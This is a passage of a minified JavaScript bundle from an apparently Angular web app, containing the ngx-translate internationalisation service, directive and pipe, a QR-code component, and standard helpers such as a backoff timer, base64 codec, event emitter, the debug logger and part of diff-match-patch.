B<"u"?(null==this.defaultLang&&(this.defaultLang=b),B.pipe((0,E.q)(1)).subscribe(ie=>{this.changeDefaultLang(b)})):this.changeDefaultLang(b)}getDefaultLang(){return this.defaultLang}use(b){if(b===this.currentLang)return(0,a.of)(this.translations[b]);let B=this.retrieveTranslations(b);return typeof B<"u"?(this.currentLang||(this.currentLang=b),B.pipe((0,E.q)(1)).subscribe(ie=>{this.changeLang(b)}),B):(this.changeLang(b),(0,a.of)(this.translations[b]))}retrieveTranslations(b){let B;return(typeof this.translations[b]>"u"||this.extend)&&(this._translationRequests[b]=this._translationRequests[b]||this.getTranslation(b),B=this._translationRequests[b]),B}getTranslation(b){this.pending=!0;const B=this.currentLoader.getTranslation(b).pipe(ce(1),(0,E.q)(1));return this.loadingTranslations=B.pipe((0,Ze.U)(ie=>this.compiler.compileTranslations(ie,b)),ce(1),(0,E.q)(1)),this.loadingTranslations.subscribe({next:ie=>{this.translations[b]=this.extend&&this.translations[b]?Object.assign(Object.assign({},ie),this.translations[b]):ie,this.updateLangs(),this.pending=!1},error:ie=>{this.pending=!1}}),B}setTranslation(b,B,ie=!1){B=this.compiler.compileTranslations(B,b),this.translations[b]=(ie||this.extend)&&this.translations[b]?re(this.translations[b],B):B,this.updateLangs(),this.onTranslationChange.emit({lang:b,translations:this.translations[b]})}getLangs(){return this.langs}addLangs(b){b.forEach(B=>{-1===this.langs.indexOf(B)&&this.langs.push(B)})}updateLangs(){this.addLangs(Object.keys(this.translations))}getParsedResult(b,B,ie){let Xe;if(B instanceof Array){let it={},wt=!1;for(let Vt of B)it[Vt]=this.getParsedResult(b,Vt,ie),(0,s.b)(it[Vt])&&(wt=!0);if(wt){const Vt=B.map(Gt=>(0,s.b)(it[Gt])?it[Gt]:(0,a.of)(it[Gt]));return(0,u.D)(Vt).pipe((0,Ze.U)(Gt=>{let qt={};return Gt.forEach((u1,c1)=>{qt[B[c1]]=u1}),qt}))}return it}if(b&&(Xe=this.parser.interpolate(this.parser.getValue(b,B),ie)),typeof Xe>"u"&&null!=this.defaultLang&&this.defaultLang!==this.currentLang&&this.useDefaultLang&&(Xe=this.parser.interpolate(this.parser.getValue(this.translations[this.defaultLang],B),ie)),typeof Xe>"u"){let it={key:B,translateService:this};typeof ie<"u"&&(it.interpolateParams=ie),Xe=this.missingTranslationHandler.handle(it)}return typeof Xe<"u"?Xe:B}get(b,B){if(!ze(b)||!b.length)throw new Error(\'Parameter "key" required\');if(this.pending)return this.loadingTranslations.pipe((0,le.b)(ie=>(ie=this.getParsedResult(ie,b,B),(0,s.b)(ie)?ie:(0,a.of)(ie))));{let ie=this.getParsedResult(this.translations[this.currentLang],b,B);return(0,s.b)(ie)?ie:(0,a.of)(ie)}}getStreamOnTranslationChange(b,B){if(!ze(b)||!b.length)throw new Error(\'Parameter "key" required\');return(0,c.z)((0,f.P)(()=>this.get(b,B)),this.onTranslationChange.pipe((0,Oe.w)(ie=>{const Xe=this.getParsedResult(ie.translations,b,B);return"function"==typeof Xe.subscribe?Xe:(0,a.of)(Xe)})))}stream(b,B){if(!ze(b)||!b.length)throw new Error(\'Parameter "key" required\');return(0,c.z)((0,f.P)(()=>this.get(b,B)),this.onLangChange.pipe((0,Oe.w)(ie=>{const Xe=this.getParsedResult(ie.translations,b,B);return(0,s.b)(Xe)?Xe:(0,a.of)(Xe)})))}instant(b,B){if(!ze(b)||!b.length)throw new Error(\'Parameter "key" required\');let ie=this.getParsedResult(this.translations[this.currentLang],b,B);if((0,s.b)(ie)){if(b instanceof Array){let Xe={};return b.forEach((it,wt)=>{Xe[b[wt]]=b[wt]}),Xe}return b}return ie}set(b,B,ie=this.currentLang){this.translations[ie][b]=this.compiler.compile(B,ie),this.updateLangs(),this.onTranslationChange.emit({lang:ie,translations:this.translations[ie]})}changeLang(b){this.currentLang=b,this.onLangChange.emit({lang:b,translations:this.translations[b]}),null==this.defaultLang&&this.changeDefaultLang(b)}changeDefaultLang(b){this.defaultLang=b,this.onDefaultLangChange.emit({lang:b,translations:this.translations[b]})}reloadLang(b){return this.resetLang(b),this.getTranslation(b)}resetLang(b){this._translationRequests[b]=void 0,this.translations[b]=void 0}getBrowserLang(){if(typeof window>"u"||typeof window.navigator>"u")return;let b=window.navigator.languages?window.navigator.languages[0]:null;return b=b||window.navigator.language||window.navigator.browserLanguage||window.navigator.userLanguage,typeof b>"u"?void 0:(-1!==b.indexOf("-")&&(b=b.split("-")[0]),-1!==b.indexOf("_")&&(b=b.split("_")[0]),b)}getBrowserCultureLang(){if(typeof window>"u"||typeof window.navigator>"u")return;let b=window.navigator.languages?window.navigator.languages[0]:null;return b=b||window.navigator.language||window.navigator.browserLanguage||window.navigator.userLanguage,b}}return x.\\u0275fac=function(b){return new(b||x)(n.LFG(pe),n.LFG(Qe),n.LFG(xt),n.LFG(ve),n.LFG(Ke),n.LFG(w),n.LFG(P),n.LFG(X),n.LFG(R))},x.\\u0275prov=n.Yz7({token:x,factory:x.\\u0275fac}),x})(),Dt=(()=>{class x{constructor(b,B,ie){this.translateService=b,this.element=B,this._ref=ie,this.onTranslationChangeSub||(this.onTranslationChangeSub=this.translateService.onTranslationChange.subscribe(Xe=>{Xe.lang===this.translateService.currentLang&&this.checkNodes(!0,Xe.translations)})),this.onLangChangeSub||(this.onLangChangeSub=this.translateService.onLangChange.subscribe(Xe=>{this.checkNodes(!0,Xe.translations)})),this.onDefaultLangChangeSub||(this.onDefaultLangChangeSub=this.translateService.onDefaultLangChange.subscribe(Xe=>{this.checkNodes(!0)}))}set translate(b){b&&(this.key=b,this.checkNodes())}set translateParams(b){bt(this.currentParams,b)||(this.currentParams=b,this.checkNodes(!0))}ngAfterViewChecked(){this.checkNodes()}checkNodes(b=!1,B){let ie=this.element.nativeElement.childNodes;ie.length||(this.setContent(this.element.nativeElement,this.key),ie=this.element.nativeElement.childNodes);for(let Xe=0;Xe<ie.length;++Xe){let it=ie[Xe];if(3===it.nodeType){let wt;if(b&&(it.lastKey=null),ze(it.lookupKey))wt=it.lookupKey;else if(this.key)wt=this.key;else{let Vt=this.getContent(it),Gt=Vt.trim();Gt.length&&(it.lookupKey=Gt,Vt!==it.currentValue?(wt=Gt,it.originalContent=Vt||it.originalContent):it.originalContent?wt=it.originalContent.trim():Vt!==it.currentValue&&(wt=Gt,it.originalContent=Vt||it.originalContent))}this.updateValue(wt,it,B)}}}updateValue(b,B,ie){if(b){if(B.lastKey===b&&this.lastParams===this.currentParams)return;this.lastParams=this.currentParams;let Xe=it=>{it!==b&&(B.lastKey=b),B.originalContent||(B.originalContent=this.getContent(B)),B.currentValue=ze(it)?it:B.originalContent||b,this.setContent(B,this.key?B.currentValue:B.originalContent.replace(b,B.currentValue)),this._ref.markForCheck()};if(ze(ie)){let it=this.translateService.getParsedResult(ie,b,this.currentParams);(0,s.b)(it)?it.subscribe(Xe):Xe(it)}else this.translateService.get(b,this.currentParams).subscribe(Xe)}}getContent(b){return ze(b.textContent)?b.textContent:b.data}setContent(b,B){ze(b.textContent)?b.textContent=B:b.data=B}ngOnDestroy(){this.onLangChangeSub&&this.onLangChangeSub.unsubscribe(),this.onDefaultLangChangeSub&&this.onDefaultLangChangeSub.unsubscribe(),this.onTranslationChangeSub&&this.onTranslationChangeSub.unsubscribe()}}return x.\\u0275fac=function(b){return new(b||x)(n.Y36(Et),n.Y36(n.SBq),n.Y36(n.sBO))},x.\\u0275dir=n.lG2({type:x,selectors:[["","translate",""],["","ngx-translate",""]],inputs:{translate:"translate",translateParams:"translateParams"}}),x})(),Pt=(()=>{class x{constructor(b,B){this.translate=b,this._ref=B,this.value=""}updateValue(b,B,ie){let Xe=it=>{this.value=void 0!==it?it:b,this.lastKey=b,this._ref.markForCheck()};if(ie){let it=this.translate.getParsedResult(ie,b,B);(0,s.b)(it.subscribe)?it.subscribe(Xe):Xe(it)}this.translate.get(b,B).subscribe(Xe)}transform(b,...B){if(!b||!b.length)return b;if(bt(b,this.lastKey)&&bt(B,this.lastParams))return this.value;let ie;if(ze(B[0])&&B.length)if("string"==typeof B[0]&&B[0].length){let Xe=B[0].replace(/(\\\')?([a-zA-Z0-9_]+)(\\\')?(\\s)?:/g,\'"$2":\').replace(/:(\\s)?(\\\')(.*?)(\\\')/g,\':"$3"\');try{ie=JSON.parse(Xe)}catch{throw new SyntaxError(`Wrong parameter in TranslatePipe. Expected a valid Object, received: ${B[0]}`)}}else"object"==typeof B[0]&&!Array.isArray(B[0])&&(ie=B[0]);return this.lastKey=b,this.lastParams=B,this.updateValue(b,ie),this._dispose(),this.onTranslationChange||(this.onTranslationChange=this.translate.onTranslationChange.subscribe(Xe=>{this.lastKey&&Xe.lang===this.translate.currentLang&&(this.lastKey=null,this.updateValue(b,ie,Xe.translations))})),this.onLangChange||(this.onLangChange=this.translate.onLangChange.subscribe(Xe=>{this.lastKey&&(this.lastKey=null,this.updateValue(b,ie,Xe.translations))})),this.onDefaultLangChange||(this.onDefaultLangChange=this.translate.onDefaultLangChange.subscribe(()=>{this.lastKey&&(this.lastKey=null,this.updateValue(b,ie))})),this.value}_dispose(){typeof this.onTranslationChange<"u"&&(this.onTranslationChange.unsubscribe(),this.onTranslationChange=void 0),typeof this.onLangChange<"u"&&(this.onLangChange.unsubscribe(),this.onLangChange=void 0),typeof this.onDefaultLangChange<"u"&&(this.onDefaultLangChange.unsubscribe(),this.onDefaultLangChange=void 0)}ngOnDestroy(){this._dispose()}}return x.\\u0275fac=function(b){return new(b||x)(n.Y36(Et,16),n.Y36(n.sBO,16))},x.\\u0275pipe=n.Yjl({name:"translate",type:x,pure:!1}),x.\\u0275prov=n.Yz7({token:x,factory:x.\\u0275fac}),x})(),te=(()=>{class x{static forRoot(b={}){return{ngModule:x,providers:[b.loader||{provide:Qe,useClass:Ye},b.compiler||{provide:xt,useClass:Be},b.parser||{provide:ve,useClass:We},b.missingTranslationHandler||{provide:Ke,useClass:dt},pe,{provide:P,useValue:b.isolate},{provide:w,useValue:b.useDefaultLang},{provide:X,useValue:b.extend},{provide:R,useValue:b.defaultLanguage},Et]}}static forChild(b={}){return{ngModule:x,providers:[b.loader||{provide:Qe,useClass:Ye},b.compiler||{provide:xt,useClass:Be},b.parser||{provide:ve,useClass:We},b.missingTranslationHandler||{provide:Ke,useClass:dt},{provide:P,useValue:b.isolate},{provide:w,useValue:b.useDefaultLang},{provide:X,useValue:b.extend},{provide:R,useValue:b.defaultLanguage},Et]}}}return x.\\u0275fac=function(b){return new(b||x)},x.\\u0275mod=n.oAB({type:x}),x.\\u0275inj=n.cJS({}),x})()},2101:(At,ae,d)=>{"use strict";d.d(ae,{w:()=>n});class n{constructor(s,u="/assets/i18n/",c=".json"){this.http=s,this.prefix=u,this.suffix=c}getTranslation(s){return this.http.get(`${this.prefix}${s}${this.suffix}`)}}},3079:(At,ae,d)=>{"use strict";d.d(ae,{N:()=>c,V:()=>u});var n=d(4650),a=d(2516),s=d.n(a),u=function(){function f(E){this.elementRef=E,this.background="white",this.backgroundAlpha=1,this.foreground="black",this.foregroundAlpha=1,this.level="L",this.mime="image/png",this.padding=null,this.size=100,this.value="",this.canvas=!1}return f.prototype.ngOnChanges=function(E){("background"in E||"backgroundAlpha"in E||"foreground"in E||"foregroundAlpha"in E||"level"in E||"mime"in E||"padding"in E||"size"in E||"value"in E||"canvas"in E)&&this.generate()},f.prototype.generate=function(){try{var E=this.elementRef.nativeElement;E.innerHTML="";var _=new(s())({background:this.background,backgroundAlpha:this.backgroundAlpha,foreground:this.foreground,foregroundAlpha:this.foregroundAlpha,level:this.level,mime:this.mime,padding:this.padding,size:this.size,value:this.value});E.appendChild(this.canvas?_.canvas:_.image)}catch(S){console.error("Could not generate QR Code: "+S.message)}},f.\\u0275fac=function(_){return new(_||f)(n.Y36(n.SBq))},f.\\u0275cmp=n.Xpm({type:f,selectors:[["qr-code"]],inputs:{background:"background",backgroundAlpha:"backgroundAlpha",foreground:"foreground",foregroundAlpha:"foregroundAlpha",level:"level",mime:"mime",padding:"padding",size:"size",value:"value",canvas:"canvas"},features:[n.TTD],decls:0,vars:0,template:function(_,S){},encapsulation:2}),f}();u.ctorParameters=function(){return[{type:n.SBq}]},u.propDecorators={background:[{type:n.IIB}],backgroundAlpha:[{type:n.IIB}],foreground:[{type:n.IIB}],foregroundAlpha:[{type:n.IIB}],level:[{type:n.IIB}],mime:[{type:n.IIB}],padding:[{type:n.IIB}],size:[{type:n.IIB}],value:[{type:n.IIB}],canvas:[{type:n.IIB}]};var c=function(){function f(){}return f.\\u0275fac=function(_){return new(_||f)},f.\\u0275mod=n.oAB({type:f}),f.\\u0275inj=n.cJS({}),f}();c.ctorParameters=function(){return[]}},2150:At=>{function ae(d){this.ms=(d=d||{}).min||100,this.max=d.max||1e4,this.factor=d.factor||2,this.jitter=d.jitter>0&&d.jitter<=1?d.jitter:0,this.attempts=0}At.exports=ae,ae.prototype.duration=function(){var d=this.ms*Math.pow(this.factor,this.attempts++);if(this.jitter){var n=Math.random(),a=Math.floor(n*this.jitter*d);d=1&Math.floor(10*n)?d+a:d-a}return 0|Math.min(d,this.max)},ae.prototype.reset=function(){this.attempts=0},ae.prototype.setMin=function(d){this.ms=d},ae.prototype.setMax=function(d){this.max=d},ae.prototype.setJitter=function(d){this.jitter=d}},390:(At,ae)=>{!function(d){"use strict";ae.encode=function(n){var s,a=new Uint8Array(n),u=a.length,c="";for(s=0;s<u;s+=3)c+=d[a[s]>>2],c+=d[(3&a[s])<<4|a[s+1]>>4],c+=d[(15&a[s+1])<<2|a[s+2]>>6],c+=d[63&a[s+2]];return u%3==2?c=c.substring(0,c.length-1)+"=":u%3==1&&(c=c.substring(0,c.length-2)+"=="),c},ae.decode=function(n){var u,f,E,_,S,a=.75*n.length,s=n.length,c=0;"="===n[n.length-1]&&(a--,"="===n[n.length-2]&&a--);var g=new ArrayBuffer(a),C=new Uint8Array(g);for(u=0;u<s;u+=4)f=d.indexOf(n[u]),E=d.indexOf(n[u+1]),_=d.indexOf(n[u+2]),S=d.indexOf(n[u+3]),C[c++]=f<<2|E>>4,C[c++]=(15&E)<<4|_>>2,C[c++]=(3&_)<<6|63&S;return g}}("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/")},1264:At=>{function ae(n){if(n)return function d(n){for(var a in ae.prototype)n[a]=ae.prototype[a];return n}(n)}At.exports=ae,ae.prototype.on=ae.prototype.addEventListener=function(n,a){return this._callbacks=this._callbacks||{},(this._callbacks["$"+n]=this._callbacks["$"+n]||[]).push(a),this},ae.prototype.once=function(n,a){function s(){this.off(n,s),a.apply(this,arguments)}return s.fn=a,this.on(n,s),this},ae.prototype.off=ae.prototype.removeListener=ae.prototype.removeAllListeners=ae.prototype.removeEventListener=function(n,a){if(this._callbacks=this._callbacks||{},0==arguments.length)return this._callbacks={},this;var s=this._callbacks["$"+n];if(!s)return this;if(1==arguments.length)return delete this._callbacks["$"+n],this;for(var u,c=0;c<s.length;c++)if((u=s[c])===a||u.fn===a){s.splice(c,1);break}return 0===s.length&&delete this._callbacks["$"+n],this},ae.prototype.emit=function(n){this._callbacks=this._callbacks||{};for(var a=new Array(arguments.length-1),s=this._callbacks["$"+n],u=1;u<arguments.length;u++)a[u-1]=arguments[u];if(s){u=0;for(var c=(s=s.slice(0)).length;u<c;++u)s[u].apply(this,a)}return this},ae.prototype.listeners=function(n){return this._callbacks=this._callbacks||{},this._callbacks["$"+n]||[]},ae.prototype.hasListeners=function(n){return!!this.listeners(n).length}},1455:(At,ae,d)=>{ae.formatArgs=function a(E){if(E[0]=(this.useColors?"%c":"")+this.namespace+(this.useColors?" %c":" ")+E[0]+(this.useColors?"%c ":" ")+"+"+At.exports.humanize(this.diff),!this.useColors)return;const _="color: "+this.color;E.splice(1,0,_,"color: inherit");let S=0,g=0;E[0].replace(/%[a-zA-Z%]/g,C=>{"%%"!==C&&(S++,"%c"===C&&(g=S))}),E.splice(g,0,_)},ae.save=function s(E){try{E?ae.storage.setItem("debug",E):ae.storage.removeItem("debug")}catch{}},ae.load=function u(){let E;try{E=ae.storage.getItem("debug")}catch{}return!E&&typeof process<"u"&&"env"in process&&(E=process.env.DEBUG),E},ae.useColors=function n(){return!(!(typeof window<"u"&&window.process)||"renderer"!==window.process.type&&!window.process.__nwjs)||!(typeof navigator<"u"&&navigator.userAgent&&navigator.userAgent.toLowerCase().match(/(edge|trident)\\/(\\d+)/))&&(typeof document<"u"&&document.documentElement&&document.documentElement.style&&document.documentElement.style.WebkitAppearance||typeof window<"u"&&window.console&&(window.console.firebug||window.console.exception&&window.console.table)||typeof navigator<"u"&&navigator.userAgent&&navigator.userAgent.toLowerCase().match(/firefox\\/(\\d+)/)&&parseInt(RegExp.$1,10)>=31||typeof navigator<"u"&&navigator.userAgent&&navigator.userAgent.toLowerCase().match(/applewebkit\\/(\\d+)/))},ae.storage=function c(){try{return localStorage}catch{}}(),ae.destroy=(()=>{let E=!1;return()=>{E||(E=!0,console.warn("Instance method `debug.destroy()` is deprecated and no longer does anything. It will be removed in the next major version of `debug`."))}})(),ae.colors=["#0000CC","#0000FF","#0033CC","#0033FF","#0066CC","#0066FF","#0099CC","#0099FF","#00CC00","#00CC33","#00CC66","#00CC99","#00CCCC","#00CCFF","#3300CC","#3300FF","#3333CC","#3333FF","#3366CC","#3366FF","#3399CC","#3399FF","#33CC00","#33CC33","#33CC66","#33CC99","#33CCCC","#33CCFF","#6600CC","#6600FF","#6633CC","#6633FF","#66CC00","#66CC33","#9900CC","#9900FF","#9933CC","#9933FF","#99CC00","#99CC33","#CC0000","#CC0033","#CC0066","#CC0099","#CC00CC","#CC00FF","#CC3300","#CC3333","#CC3366","#CC3399","#CC33CC","#CC33FF","#CC6600","#CC6633","#CC9900","#CC9933","#CCCC00","#CCCC33","#FF0000","#FF0033","#FF0066","#FF0099","#FF00CC","#FF00FF","#FF3300","#FF3333","#FF3366","#FF3399","#FF33CC","#FF33FF","#FF6600","#FF6633","#FF9900","#FF9933","#FFCC00","#FFCC33"],ae.log=console.debug||console.log||(()=>{}),At.exports=d(3283)(ae);const{formatters:f}=At.exports;f.j=function(E){try{return JSON.stringify(E)}catch(_){return"[UnexpectedJSONParseError]: "+_.message}}},3283:(At,ae,d)=>{At.exports=function n(a){function u(z){let H,U,G,j=null;function Q(...oe){if(!Q.enabled)return;const Ce=Q,k=Number(new Date);Ce.diff=k-(H||k),Ce.prev=H,Ce.curr=k,H=k,oe[0]=u.coerce(oe[0]),"string"!=typeof oe[0]&&oe.unshift("%O");let se=0;oe[0]=oe[0].replace(/%([a-zA-Z%])/g,(q,we)=>{if("%%"===q)return"%";se++;const ce=u.formatters[we];return"function"==typeof ce&&(q=ce.call(Ce,oe[se]),oe.splice(se,1),se--),q}),u.formatArgs.call(Ce,oe),(Ce.log||u.log).apply(Ce,oe)}return Q.namespace=z,Q.useColors=u.useColors(),Q.color=u.selectColor(z),Q.extend=c,Q.destroy=u.destroy,Object.defineProperty(Q,"enabled",{enumerable:!0,configurable:!1,get:()=>null!==j?j:(U!==u.namespaces&&(U=u.namespaces,G=u.enabled(z)),G),set:oe=>{j=oe}}),"function"==typeof u.init&&u.init(Q),Q}function c(z,H){const j=u(this.namespace+(typeof H>"u"?":":H)+z);return j.log=this.log,j}function S(z){return z.toString().substring(2,z.toString().length-2).replace(/\\.\\*\\?$/,"*")}return u.debug=u,u.default=u,u.coerce=function g(z){return z instanceof Error?z.stack||z.message:z},u.disable=function E(){const z=[...u.names.map(S),...u.skips.map(S).map(H=>"-"+H)].join(",");return u.enable(""),z},u.enable=function f(z){let H;u.save(z),u.namespaces=z,u.names=[],u.skips=[];const j=("string"==typeof z?z:"").split(/[\\s,]+/),U=j.length;for(H=0;H<U;H++)j[H]&&("-"===(z=j[H].replace(/\\*/g,".*?"))[0]?u.skips.push(new RegExp("^"+z.slice(1)+"$")):u.names.push(new RegExp("^"+z+"$")))},u.enabled=function _(z){if("*"===z[z.length-1])return!0;let H,j;for(H=0,j=u.skips.length;H<j;H++)if(u.skips[H].test(z))return!1;for(H=0,j=u.names.length;H<j;H++)if(u.names[H].test(z))return!0;return!1},u.humanize=d(4366),u.destroy=function C(){console.warn("Instance method `debug.destroy()` is deprecated and no longer does anything. It will be removed in the next major version of `debug`.")},Object.keys(a).forEach(z=>{u[z]=a[z]}),u.names=[],u.skips=[],u.formatters={},u.selectColor=function s(z){let H=0;for(let j=0;j<z.length;j++)H=(H<<5)-H+z.charCodeAt(j),H|=0;return u.colors[Math.abs(H)%u.colors.length]},u.enable(u.load()),u}},3969:At=>{var ae=function(){this.Diff_Timeout=1,this.Diff_EditCost=4,this.Match_Threshold=.5,this.Match_Distance=1e3,this.Patch_DeleteThreshold=.5,this.Patch_Margin=4,this.Match_MaxBits=32},d=-1;ae.Diff=function(s,u){return[s,u]},ae.prototype.diff_main=function(s,u,c,f){typeof f>"u"&&(f=this.Diff_Timeout<=0?Number.MAX_VALUE:(new Date).getTime()+1e3*this.Diff_Timeout);var E=f;if(null==s||null==u)throw new Error("Null input. (diff_main)");if(s==u)return s?[new ae.Diff(0,s)]:[];typeof c>"u"&&(c=!0);var _=c,S=this.diff_commonPrefix(s,u),g=s.substring(0,S);s=s.substring(S),u=u.substring(S),S=this.diff_commonSuffix(s,u);var C=s.substring(s.length-S);s=s.substring(0,s.length-S),u=u.substring(0,u.length-S);var z=this.diff_compute_(s,u,_,E);return g&&z.unshift(new ae.Diff(0,g)),C&&z.push(new ae.Diff(0,C)),this.diff_cleanupMerge(z),z},ae.prototype.diff_compute_=function(s,u,c,f){var E;if(!s)return[new ae.Diff(1,u)];if(!u)return[new ae.Diff(d,s)];var _=s.length>u.length?s:u,S=s.length>u.length?u:s,g=_.indexOf(S);if(-1!=g)return E=[new ae.Diff(1,_.substring(0,g)),new ae.Diff(0,S),new ae.Diff(1,_.substring(g+S.length))],s.length>u.length&&(E[0][0]=E[2][0]=d),E;if(1==S.length)return[new ae.Diff(d,s),new ae.Diff(1,u)];var C=this.diff_halfMatch_(s,u);if(C){var H=C[1],U=C[3],G=C[4],Q=this.diff_main(C[0],C[2],c,f),oe=this.diff_main(H,U,c,f);return Q.concat([new ae.Diff(0,G)],oe)}return c&&s.length>100&&u.length>100?this.diff_lineMode_(s,u,f):this.diff_bisect_(s,u,f)},ae.prototype.diff_lineMode_=function(s,u,c){var f=this.diff_linesToChars_(s,u),E=f.lineArray,_=this.diff_main(s=f.chars1,u=f.chars2,!1,c);this.diff_charsToLines_(_,E),this.diff_cleanupSemantic(_),_.push(new ae.Diff(0,""));for(var S=0,g=0,C=0,z="",H="";S<_.length;){switch(_[S][0]){case 1:C++,H+=_[S][1];break;case d:g++,z+=_[S][1];break;case 0:if(g>=1&&C>=1){_.splice(S-g-C,g+C),S=S-g-C;for(var j=this.diff_main(z,H,!1,c),U=j.length-1;U>=0;U--)_.splice(S,0,j[U]);S+=j.length}C=0,g=0,z="",H=""}S++}return _.pop(),_},ae.prototype.diff_bisect_=function(s,u,c){for(var f=s.length,E=u.length,_=Math.ceil((f+E)/2),S=_,g=2*_,C=new Array(g),z=new Array(g),H=0;H<g;H++)C[H]=-1,z[H]=-1;C[S+1]=0,z[S+1]=0;for(var j=f-E,U=j%2!=0,G=0,Q=0,oe=0,Ce=0,k=0;k<_&&!((new Date).getTime()>c);k++){for(var K=-k+G;K<=k-Q;K+=2){for(var se=S+K,q=(ee=K==-k||K!=k&&C[se-1]<C[se+1]?C[se+1]:C[se-1]+1)-K;ee<f&&q<E&&s.charAt(ee)==u.charAt(q);)ee++,q++;if(C[se]=ee,ee>f)Q+=2;else if(q>E)G+=2;else if(U&&(we=S+j-K)>=0&&we<g&&-1!=z[we]&&ee>=(ce=f-z[we]))return this.diff_bisectSplit_(s,u,ee,q,c)}for(var je=-k+oe;je<=k-Ce;je+=2){for(var ce,we=S+je,Ze=(ce=je==-k||je!=k&&z[we-1]<z[we+1]?z[we+1]:z[we-1]+1)-je;ce<f&&Ze<E&&s.charAt(f-ce-1)==u.charAt(E-Ze-1);)ce++,Ze++;if(z[we]=ce,ce>f)Ce+=2;else if(Ze>E)oe+=2;else if(!U){var ee;if((se=S+j-je)>=0&&se<g&&-1!=C[se])if(q=S+(ee=C[se])-se,ee>=(ce=f-ce))return this.diff_bisectSplit_(s,u,ee,q,c)}}}return[new ae.Diff(d,s),new ae.Diff(1,u)]},ae.prototype.diff_bisectSplit_=function(s,u,c,f,E){var _=s.substring(0,c),S=u.substring(0,f),g=s.substring(c),C=u.substring(f),z=this.diff_main(_,S,!1,E),H=this.diff_main(g,C,!1,E);return z.concat(H)},ae.prototype.diff_linesToChars_=function(s,u){var c=[],f={};function E(C){for(var z="",H=0,j=-1,U=c.length;j<C.length-1;){-1==(j=C.indexOf("\\n",H))&&(j=C.length-1);var G=C.substring(H,j+1);(f.hasOwnProperty?f.hasOwnProperty(G):void 0!==f[G])?z+=String.fromCharCode(f[G]):(U==_&&(G=C.substring(H),j=C.length),z+=String.fromCharCode(U),f[G]=U,c[U++]=G),H=j+1}return z}c[0]="";var _=4e4,S=E(s);return _=65535,{chars1:S,chars2:E(u),lineArray:c}},ae.prototype.diff_charsToLines_=function(s,u){for(var c=0;c<s.length;c++){for(var f=s[c][1],E=[],_=0;_<f.length;_++)E[_]=u[f.charCodeAt(_)];s[c][1]=E.join("")}},ae.prototype.diff_commonPrefix=function(s,u){if(!s||!u||s.charAt(0)!=u.charAt(0))return 0;for(var c=0,f=Math.min(s.length,u.length),E=f,_=0;c<E;)s.substring(_,E)==u.substring(_,E)?_=c=E:f=E,E=Math.floor((f-c)/2+c);return E},ae.prototype.diff_commonSuffix=function(s,u){if(!s||!u||s.charAt(s.length-1)!=u.charAt(u.length-1))return 0;for(var c=0,f=Math.min(s.length,u.length),E=f,_=0;c<E;)s.substring(s.length-E,s.length-_)==u.substring(u.length-E,u.length-_)?_=c=E:f=E,E=Math.floor((f-c)/2+c);return E},ae.prototype.diff_commonOverlap_=function(s,u){var c=s.length,f=u.length;if(0==c||0==f)return 0;c>f?s=s.substring(c-f):c<f&&(u=u.substring(0,c));var E=Math.min(c,f);if(s==u)return E;for(var _=0,S=1;;){var g=s.substring(E-S),C=u.indexOf(g);if(-1==C)return _;S+=C,(0==C||s.substring(E-S)==u.substring(0,S))&&(_=S,S++)}},ae.prototype.diff_halfMatch_=function(s,u){if(this.Diff_Timeout<=0)return null;var c=s.length>u.length?s:u,f=s.length>u.length?u:s;if(c.length<4||2*f.length<c.length)return null;var E=this;function _(Q,oe,Ce){for(var ee,q,we,ce,k=Q.substring(Ce,Ce+Math.floor(Q.length/4)),K=-1,se="";-1!=(K=oe.indexOf(k,K+1));){var je=E.diff_commonPrefix(Q.substring(Ce),oe.substring(K)),Ze=E.diff_commonSuffix(Q.substring(0,Ce),oe.substring(0,K));se.length<Ze+je&&(se=oe.substring(K-Ze,K)+oe.substring(K,K+je),ee=Q.substring(0,Ce-Ze),q=Q.substring(Ce+je),we=oe.substring(0,K-Ze),ce=oe.substring(K+je))}return 2*se.length>=Q.length?[ee,q,we,ce,se]:null}var C,z,H,j,U,S=_(c,f,Math.ceil(c.length/4)),g=_(c,f,Math.ceil(c.length/2));return S||g?(C=g?S&&S[4].length>g[4].length?S:g:S,s.length>u.length?(z=C[0],H=C[1],j=C[2],U=C[3]):(j=C[0],U=C[1],z=C[2],H=C[3]),[z,H,j,U,C[4]]):null},ae.prototype.diff_cleanupSemantic=function(s){for(var u=!1,c=[],f=0,E=null,_=0,S=0,g=0,C=0,z=0;_<s.length;)0==s[_][0]?(c[f++]=_,S=C,g=z,C=0,z=0,E=s[_][1]):(1==s[_][0]?C+=s[_][1].length:z+=s[_][1].length,E&&E.length<=Math.max(S,g)&&E.length<=Math.max(C,z)&&(s.splice(c[f-1],0,new ae.Diff(d,E)),s[c[f-1]+1][0]=1,f--,_=--f>0?c[f-1]:-1,S=0,g=0,C=0,z=0,E=null,u=!0)),_++;for(u&&this.diff_cleanupMerge(s),this.diff_cleanupSemanticLossless(s),_=1;_<s.length;){if(s[_-1][0]==d&&1==s[_][0]){var H=s[_-1][1],j=s[_][1],U=this.diff_commonOverlap_(H,j),G=this.diff_commonOverlap_(j,H);U>=G?(U>=H.length/2||U>=j.length/2)&&(s.splice(_,0,new ae.Diff(0,j.substring(0,U))),s[_-1][1]=H.substring(0,H.length-U),s[_+1][1]=j.substring(U),_++):(G>=H.length/2||G>=j.length/2)&&(s.splice(_,0,new ae.Diff(0,H.substring(0,G))),s[_-1][0]=1,s[_-1][1]=j.substring(0,j.length-G),s[_+1][0]=d,s[_+1][1]=H.substring(G),_++),_++}_++}},ae.prototype.diff_cleanupSemanticLossless=function(s){function u(G,Q){if(!G||!Q)return 6;var oe=G.charAt(G.length-1),Ce=Q.charAt(0),k=oe.match(ae.nonAlphaNumericRegex_),K=Ce.match(ae.nonAlphaNumericRegex_),se=k&&oe.match(ae.whitespaceRegex_),ee=K&&Ce.match(ae.whitespaceRegex_),q=se&&oe.match(ae.linebreakRegex_),we=ee&&Ce.match(ae.linebreakRegex_),ce=q&&G.match(ae.blanklineEndRegex_),je=we&&Q.match(ae.blanklineStartRegex_);return ce||je?5:q||we?4:k&&!se&&ee?3:se||ee?2:k||K?1:0}for(var c=1;c<s.length-1;){if(0==s[c-1][0]&&0==s[c+1][0]){var f=s[c-1][1],E=s[c][1],_=s[c+1][1],S=this.diff_commonSuffix(f,E);if(S){var g=E.substring(E.length-S);f=f.substring(0,f.length-S),E=g+E.substring(0,E.length-S),_=g+_}for(var C=f,z=E,H=_,j=u(f,E)+u(E,_);E.charAt(0)===_.charAt(0);){f+=E.charAt(0),E=E.substring(1)+_.charAt(0),_=_.substring(1);var 